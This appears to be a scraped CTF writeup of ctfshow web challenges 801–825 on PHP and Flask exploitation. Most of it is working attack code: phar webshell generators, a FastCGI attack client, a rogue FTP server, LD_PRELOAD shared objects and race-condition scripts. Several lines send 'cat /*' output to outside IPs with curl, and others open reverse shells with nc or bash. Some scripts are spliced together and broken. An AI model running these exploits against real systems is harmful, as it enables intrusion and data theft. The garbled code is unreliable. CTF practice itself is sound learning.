当前位置:网站首页>Ctfshow-- common posture
Ctfshow-- common posture
2022-07-07 06:02:00 【Z3eyOnd】
List of articles
web801
Examination site :flaskpin The calculation of code
https://xz.aliyun.com/t/8092
probably_public_bits contain 4 A field , Respectively
username
modname
getattr(app, 'name', app.class.name)
getattr(mod, 'file', None)
among username The corresponding value is the user name of the current host
linux You can see /etc/passwd
windows You can see C:/Users Catalog
modname The value of is 'flask.app'
getattr(app, 'name', app.class.name) The corresponding value is 'Flask'
getattr(mod, 'file', None) The corresponding value is app The absolute path of the package
private_bits Contains two fields , Respectively
str(uuid.getnode())
get_machine_id()
among str(uuid.getnode()) For network card mac Decimal value of address
stay inux The storage location under the system is /sys/class/net/( Corresponding network card )/address It's usually eth0
windows in cmd perform config /all see
get_machine_id() The value of is the unique machine code of the current machine
For non docker Every machine has its own unique id,linux Of id Generally stored in /etc/machine-id or /proc/sys/kernel/random/boot_id
docker Machine reading /proc/self/cgroup.
windows Of id In the registry (HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Cryptography)
The old version of the
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
username=getpass.getuser()
app = Flask(__name__)
modname=getattr(app, "__module__", app.__class__.__module__)
mod = sys.modules.get(modname)
probably_public_bits = [
username, # user name It's usually root Or read it /etc/passwd
modname, # It is usually fixed as flask.app
getattr(app, "__name__", app.__class__.__name__), # Fix , It's usually Flask
getattr(mod, "__file__", None), #flask Under the library app.py The absolute path of , You can get through the error information
]
mac ='02:42:ac:0c:ac:28'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
mac,
" Machine code "
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num=None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
new edition :
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='root'
app = Flask(__name__)
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)
probably_public_bits = [
username, # user name
modname, # It is usually fixed as flask.app
getattr(app, "__name__", app.__class__.__name__), # Fix , It's usually Flask
'/usr/local/lib/python3.8/site-packages/flask/app.py', # The main program (app.py) The absolute path of operation
]
print(probably_public_bits)
mac ='02:42:ac:0c:ac:28'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
mac,#mac Address decimal
" Machine code "
]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{
h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{
int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
The value you need to fill in is just a change — Machine code . The old version only needs to read /proc/self/cgroup that will do , But the new addition needs to be spelled in the front /etc/machine-id perhaps /proc/sys/kernel/random/boot_id Value
web802
Examination site : Command execution without numbers and letters
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(!preg_match('/[a-z]|[0-9]/i',$cmd)){
eval($cmd);
}
Method : Exclusive or , or , Take the opposite , Self increasing , Upload temporary files
Master Yu's blog :https://blog.csdn.net/miuzzx/article/details/109143413
Upload temporary files : Upload the file first , Will be temporarily saved in /tmp/xxxx
Under the path , And then through ?>
Close the front eval
, hinder php sentence , The quotation marks
To execute an order ,.
To execute a file ,cat /f*
, You can achieve the implementation of the command , A particularly clever skill .
web803
<?php
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}
The idea of this problem : It's filtered out php
and data
, These agreements cannot be used , In the file contains , You can also use zip
The protocol and phar
agreement ( The remote file contains this. No )
file
Protocol direct read file , But there is one file_exists
There needs to be a txt
file
And tested , Only to /tmp
To write files , Website directory /var/www/html
I can't write it in
The log contains or receives txt
The influence of suffix
So the overall thinking , First use of file_put_contents
Write the statement of executing the command into the file , And then through include
contain
utilize zip The agreement is reasonable , But I tried , Cannot include , Failure ( The reason should be that it is impossible to zip The content in is transferred to the remote server )
utilize phar agreement
Direct will Horse
Put it in phar In bag
<?php
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
Directly to the script
import requests
url="http://2ed54b8f-1578-49c9-8386-ce7c9c6f68c6.challenge.ctf.show/"
data1={
'file': '/tmp/shell.phar',
'content': open('shell.phar','rb').read()
}
data2={
'file': 'phar:///tmp/shell.phar/a',
'content': '123',
'1': 'system("ls");'
}
requests.post(url=url,data=data1)
r = requests.post(url=url,data=data2)
print(r.text)
phar The implementation file contains the principle : When combined with the containing function , Will directly execute phar The content in , Achieve the effect of command execution
web804
Examination site : utilize phar Deserialization
Take advantage of features : Yes file_put_contents
Realize the purpose of file uploading , take phar
Upload the file to the title server , then file_exists
and unlink
Influence function of , Can be triggered phar Deserialization of
, So as to achieve the command execution in deserialization
phar File generation :
<?php
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$a=new hacker();
$a->code="system('cat f*');";
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
And then upload , Trigger command execution , obtain flag
import requests
url="http://bf1f07fe-9a6c-4425-994b+7886f64b2923.challenge.ctf.show/index.php"
data1={
'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
data2={
'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
web805
Examination site : Bypass open_basedir()
https://blog.csdn.net/unexpectedthing/article/details/125577789
Several common postures :
Read file directory :
1=$dir=new DirectoryIterator('glob:///*');
foreach($dir as $d){
echo $d->__toString().'</br>';
}
1=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir("/"));
utilize chdir and ini_set
Read file contents :
1=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/ctfshowflag');
web806
Examination site : Parameterless construction RCE
https://xz.aliyun.com/t/9360
payload:
code=system(end(current(get_defined_vars())));&shell=cat /c*;
web807
Examination site : rebound shell
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];
$schema = substr($url,0,8);
if($schema==="https://"){
shell_exec("curl $url");
}
shell_exec
No echo , add www-data
Authority , Cannot pass ls / >/var/www/html/1.php
To write local files
We just use take out data ,curl Take out the data
url=https://;curl http://42.193.170.176:12345/ -F file=`cat /*`
?url=https://;curl http://42.193.170.176:12345/?a=`cat /*`
web808
Examination site : File contains ,session File contains getshell, utilize Segfault Leave temporary documents for getshell
1. utilize Segfault Leave temporary documents for getshell:
Conditions :php7.1.20 following
principle : Is the use php crash after , It will cause the uploaded temporary files to remain , Then file it to achieve RCE The situation of
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
<?php
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && !preg_match("/input|data|phar|log/i",$file)){
include $file;
}else{
show_source(__FILE__);
print_r(scandir("/tmp"));
}
given /tmp The files under the , All do not need to burst out tmp file , Direct contains
Give directly payload:
import requests
import re
url = "http://6c9ff9d7-497d-4912-942c-0ab8c8d54175.challenge.ctf.show/"
file={
'file':'<?php eval($_POST[1]);?>'
}
requests.post(url+'?file=php://filter/string.strip_tags/resource=/etc/passwd',files=file)
r=requests.get(url)
#print(r.text)
tmp=re.findall('=> (php.*?)\\n',r.text,re.S)[-1]
print(tmp)
r=requests.get(url+'?file=/tmp/'+tmp)
print(r.text)
2. Of course, this can also be used session File contains
import requests
import threading
import sys
session=requests.session()
sess='z3eyond'
url1="http://6c9ff9d7-497d-4912-942c-0ab8c8d54175.challenge.ctf.show/"
url2='http://6c9ff9d7-497d-4912-942c-0ab8c8d54175.challenge.ctf.show/?file=/tmp/sess_z3eyond'
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = 'http://192.168.1.162:8080/index.php'
session = requests.session()
flag = 'helloworld'
def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {
'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{
flag}'); ?>'''}
while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={
'PHPSESSID': flag},
)
def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{
target}?file=/tmp/sess_{
flag}',
)
if flag.encode() in response.content:
e.set()
if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))
for i in range(5):
futures.append(pool.submit(write, event))
wait(futures)
data2={
'1':'echo 11123;system("cat /*");',
}
file={
'file':'1'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if '11123' in r.text:
print(r.text)
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write).start()
for i in range(1,30):
threading.Thread(target=read).start()
event.set()
Just this requires conditional competition , May not run out
web809
Examination site : File contains ,pearcmd.php The file contains to RCE
Conditions :
- Installed pear( So that we can have pearcmd.php), stay 7.3 And before ,pecl/pear Is installed by default ; stay 7.4 And later , We need to compile PHP When it's time to specify
--with-pear
Will install . - Open the
register_argc_argv,
Docker In the environment PHP Will turn onregister_argc_argv
This configuration - There are files that contain and can contain suffixes of php And there is no
open_basedir
The limitation of .
Learning links :feng Master's
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
payload:
Not out of the network :
?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/z3eyond.php+-d+man_dir=<?eval($_POST[1]);?>+-s+
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
Out of network :
GET /?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://xxx:xxx/test.php
Then directly include :
web810
Examination site :SSRF in gopher hit fastcgi
direct gopherus Tools are wordy
web811
Examination site :FTP In passive mode FPM Vulnerability code 、
<?php
$contents = file_get_contents($_GET['viewFile']);
file_put_contents($_GET['viewFile'], $contents);
Read the path here viewFile, Then write it back to the file . It seems that nothing has been done .
This code can be used to attack PHP-FPM
If a client tries to run from FTP Read files from the server , The server will inform the client to read the contents of the file ( Or write ) To a specific IP And ports . and , There's a lot to do with these IP And ports are not necessarily restricted . for example , The server can tell the client to connect to one of its own ports .
Now if we use viewFile=ftp://evil-server/file.txt
Then it will happen :
First, through file_get_contents() Function to our FTP The server , And download file.txt.
And then through file_put_contents() Function to our FTP The server , And upload it back to file.txt.
At this time , Before it tries to use file_put_contents() When uploading back , We told it to send the file to 127.0.0.1:9001(fpm The port of , The default is 9000)
that , We created one in the middle SSRF, attack php-fpm
Let's start with a malicious FTP:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',2345)) # Port can be changed
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
then gopherus Generate payload:
Direct hit :(payload Just after the underline , No need for secondary encoding )
web812
Examination site :FPM Unauthorized access to
Use your notebook directly
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={
}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
web813
Examination site : It is also a malicious load so file , Just this so The file is hijacked mysqli.so file
web814
Examination site : hijacked getuid, Loading malicious so file , Realization RCE
<?php
error_reporting(0);
$action = $_GET['a'];
switch ($action) {
case 'phpinfo':
phpinfo();
break;
case 'write':
file_put_contents($_POST['file'],$_POST['content']);
break;
case 'run':
putenv($_GET['env']);
system("whoami");
break;
default:
highlight_file(__FILE__);
break;
}
Generate so file ,shell.c
This is hijacking getuid Of so file
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
system("curl http://url:port?s=`cat /*`");
}
int getuid()
{
if(getenv("LD_PRELOAD")==NULL){
return 0;}
unsetenv("LD_PRELOAD");
payload();
}
gcc -c -fPIC shell.c -o shell&&gcc --share shell -o shell.so
After generating , Go directly to the notebook
import requests
url="http://53380121-bba5-4f41-8143-39a5fdff85b0.challenge.ctf.show/"
data={
'file':'/tmp/shell.so','content':open('shell.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/shell.so')
principle : Generate malice so file , Then put it into the environment variable , Wait for the process to load the so After the document , So as to achieve the result of command execution .
web815
Examination site : Hijack the constructor
The above example is constructed so File is hijacking a function
The following one is more general :
stay GCC There is one C Language extension modifier attribute((constructor)), You can let the function modified by it in main() Before execution , If it appears in a shared object , So once the shared object is loaded by the system , Will execute... Immediately __attribute__((constructor)) Modified function .
So this is written C file
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void hack(void)
{
unsetenv("LD_PRELOAD");
system("echo z3eyond");
system("curl http://xxx:12345/?a=`cat /*`;");
}
notebook :
import requests
url="http://0ff2bf53-5121-42ea-bef7-3d43cc5fe03b.challenge.ctf.show/"
data={
'file':'/tmp/shell.so','content':open('shell.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/shell.so')
web816
Examination site : Upload temporary files , To hijack the process to RCE
There is no place to upload files in this location , But we can make use of temporary files .
We will be malicious so File upload , Will be saved as a temporary file to /tmp/
Under the table of contents
Then there is $env.scandir("/tmp")[2]
Get the temporary file path , So as to achieve utilization LD_PRELOAD
Environment variables of RCE
Be careful : General temporary files are uploaded , It's hard to get the file name
so Files can remain unchanged
Give it directly to the notebook
import requests
url="http://ed96f432-b5eb-405f-8875-dd1363f5c843.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
files={
'file':open('shell.so','rb').read()}
response=requests.post(url,files=files)
response=requests.post(url,files=files)
html = response.text
print(html)
web817
Examination site :
- Let the back end php Request a file that is too large
- Fastcgi The returned response package is too large , Lead to Nginx Temporary files need to be generated for caching
- although Nginx Deleted
/var/lib/nginx/fastcgi
The temporary documents under , But in/proc/pid/fd/
Next we can find the deleted file - Traverse pid as well as fd , Use multiple links to bypass PHP Include policy completion LFI
Principle link :
https://tttang.com/archive/1384/#toc_0x03-counter-nginx-request-body-temp-lfi
$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
shell_exec(shell_exec("cat $file"));
}
Two shell_exec, It's equivalent to us cat $file
Later content , Finally, it is executed as an order
about /proc
The explanation of the catalogue is more detailed :
https://blog.spoock.com/2019/10/08/proc/
This question links :
https://blog.csdn.net/miuzzx/article/details/124489107
notebook :
import threading, requests
import socket
import re
port= 28053
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1 Host:127.0.0.1 '''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
con="curl http://101.34.94.44:4567?`cat /f*`;"+'0'*1024*500
l = len(con)
def upload():
while True:
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
x=f'''POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: {
l} Content-Type: application/x-www-form-urlencoded Connection: close {
con} '''.encode()
s.send(x)
s.close()
def bruter():
while True:
for fd in range(3,40):
print(fd)
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET /?file=/proc/{
pid}/fd/{
fd} HTTP/1.1 Host: 127.0.0.1 Connection: close '''.encode())
print(s.recv(2048).decode())
s.close()
for i in range(30):
t = threading.Thread(target=upload)
t.start()
for j in range(30):
a = threading.Thread(target=bruter)
a.start()
web818
Examination site : Or by uploading a particularly large so file ( There is malicious code and some other things ), Give Way Nginx Produce temporary documents , The contents of the file are written to a temporary file , then env Assign the path of the temporary file , The last is LD_PRELOAD environment variable RCE
Need to blow up pid Number and fd Number below
$env = $_GET['env'];
if(isset($env)){
putenv($env);
system("echo ctfshow");
}else{
system("ps aux");
}
notebook :
# coding: utf-8
import urllib.parse
import threading, requests
import socket
import re
port= 28133
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1 Host:127.0.0.1 '''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
l=str(len(open('hack.so','rb').read()+b'\n'*1024*200)).encode()
def upload():
while True:
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
x=b'''POST / HTTP/1.1 Host: 127.0.0.1 User-Agent: yu22x Content-Length: '''+l+b''' Content-Type: application/x-www-form-urlencoded Connection: close '''+open('hack.so','rb').read()+b'\n'*1024*200+b''' '''
s.send(x)
s.close()
def bruter():
while True:
for fd in range(3,40):
print(fd)
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1 Host: 127.0.0.1 User-Agent: yu22x Connection: close '''.encode())
print(s.recv(2048).decode())
s.close()
for i in range(30):
t = threading.Thread(target=upload)
t.start()
for j in range(30):
a = threading.Thread(target=bruter)
a.start()
web819
web820
web821
Examination site : Limit the length of the command execution ,7 Characters can be written
https://www.cnblogs.com/-chenxs/p/11981586.html
https://xz.aliyun.com/t/2748#toc-2
https://miaotony.xyz/2021/01/31/CTF_web_CommandExecutionLimitedLength/
Give it directly to the notebook :
import requests
import time
url="http://8498c2d2-871b-4db4-8a04-59f0fbda6b23.challenge.ctf.show/"
payload=[
">hp",
">2.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]
def write():
for p in payload:
data={
'cmd':p.strip()
}
requests.post(url=url,data=data)
print("[*]create"+p.strip())
time.sleep(1)
def read():
u=url+'2.php'
p={
'1':'system("ls /");echo z3eyond;'
}
r=requests.get(url=u,params=p)
if 'z3eyond' in r.text:
print(r.text)
def main():
write()
read()
if __name__=='__main__':
main()
web822
Examination site : Cannot create file directory 7 Character bypass
shell_exec, No echo , You can't execute commands directly , At the same time, you cannot create a directory , All data cannot be brought directly to the local , Then go straight to .
Can I take data out ?
But exist 7 Character limit , To execute the out of the box command, you still have to create a file .
So you can only use to create temporary files , Then execute the method of temporary file , At the same time, the method of data take out .
Upload files directly to the server , Create temporary file , Then execute immediately . /t*/*
nc rebound shell Talent
#coding:utf-8
#author z3eyond
import requests
url="http://0009dfd0-bbbd-43b2-9a66-dac27a482d9f.challenge.ctf.show/"
#files={'file':'bash -i >& /dev/tcp/xxx/xxx 0>&1'}
files={
'file':'nc xxx 2345 -e /bin/sh'}
#files={'file':'''php -r '$sock=fsockopen("xxx",2345);exec("/bin/sh -i <&3 >&3 2>&3");' '''}
r= requests.post(url,files=files,data={
'cmd':'. /t*/*'})
html = r.text
print(html)
web823,824
Examination site : It's still the same , Limiting conditions
payload:
payload=[
">grep",
">h",
"*>j",
"rm g*",
"rm h*",
">cat",
"*>>i",
"rm c*",
"rm j",
">cp",
"*"
]
payload:
import requests
import time
url="http://b3007df8-eb78-4d71-b13f-d0c3e5b8f2dd.challenge.ctf.show/"
payload=[
">grep",
">h",
"*>j",
"rm g*",
"rm h*",
">cat",
"*>>i",
"rm c*",
"rm j",
">cp",
"*"
]
def write():
for p in payload:
data={
'cmd':p.strip()
}
requests.post(url=url,data=data)
print("[*]create"+p.strip())
time.sleep(1)
def main():
write()
read()
if __name__=='__main__':
main()
utilize grep To construct the , The final call index.php The order of
web825
Examination site : utilize dir command , The space needs to be replaced ${IFS}
The construction principle is similar
Give it directly to the notebook
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:42
# @email: [email protected]
# @link: https://ctfer.com
import requests
import time
url = "http://eb893c73-86c3-449f-98fe-0f82d9212110.challenge.ctf.show/"
payload = [
'>sl',
'>kt-',
'>j\\>',
'>j\\#',
'>dir',
'*>v',
'>rev',
'*v>x',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh x',
'sh j'
]
def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(0.3)
def check():
response = requests.get(url+"a.php")
if response.status_code == requests.codes.ok:
